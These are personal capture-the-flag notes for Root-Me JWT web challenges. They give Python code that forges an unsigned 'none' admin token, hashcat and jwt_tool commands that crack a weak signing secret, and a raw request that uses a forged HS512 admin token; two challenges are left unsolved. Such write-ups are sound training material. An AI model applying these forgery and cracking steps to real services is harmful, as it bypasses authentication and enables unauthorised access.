JWT

Notes

http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Hacking%20JSON%20Web%20Token%20(JWT)%20-%20Rudra%20Pratap.pdf

Challenges

- **JSON Web Token (JWT) - Introduction:** https://www.root-me.org/en/Challenges/Web-Server/JSON-Web-Token-JWT-Introduction

  get the cookie (JWT) and play with in https://jwt.io/
  sets the algorithm to null
  Use the following python code to generate the token
  import jwt
  encoded = jwt.encode({'username': 'admin'}, '', algorithm='none')
  print(encoded)
  ---> b'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.'
  change jwt cookie to -->
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VybmFtZSI6ImFkbWluIn0.
  refresh
  voilaa

- **JSON Web Token (JWT) - Weak secret :** https://www.root-me.org/en/Challenges/Web-Server/JSON-Web-Token-JWT-Weak-secret

  hashcat -a3 -m 16500 -i --increment-min=1 --increment-max=10

  download this tool
  install dependencies
  https://github.com/ticarpi/jwt_tool

  get the token and run
  python3 jwt_tool.py <token> rockyou.txt
  now we have the secret

  generate a new token

  lol
  import jwt
  encoded = jwt.encode({'username': 'admin'}, 'lol', algorithm='HS512')
  encoded

  POST /web-serveur/ch59/admin HTTP/1.1
  Host: challenge01.root-me.org
  Upgrade-Insecure-Requests: 1
  User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.122 Safari/537.36
  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
  Accept-Encoding: gzip, deflate
  Accept-Language: en-US,en;q=0.9,ar;q=0.8

Authorization: Bearer
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJyb2xlIjoiYWRtaW4ifQ.y9GHxQbH70x_S8F_VPAjra_S-nQ9MsRnuvwWFGolyKXKk8xCcMpYljN190KcV1qV6qLFTNrvg4Gwyv29OCjAWA
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

other tools : https://github.com/AresS31/jwtcat

- **JSON Web Token (JWT) - Public key :** https://www.root-me.org/en/Challenges/Web-Server/JSON-Web-Token-JWT-Public-key

  to be solved

- **JWT - Revoked token :** https://www.root-me.org/en/Challenges/Web-Server/JWT-Revoked-token

  to be solved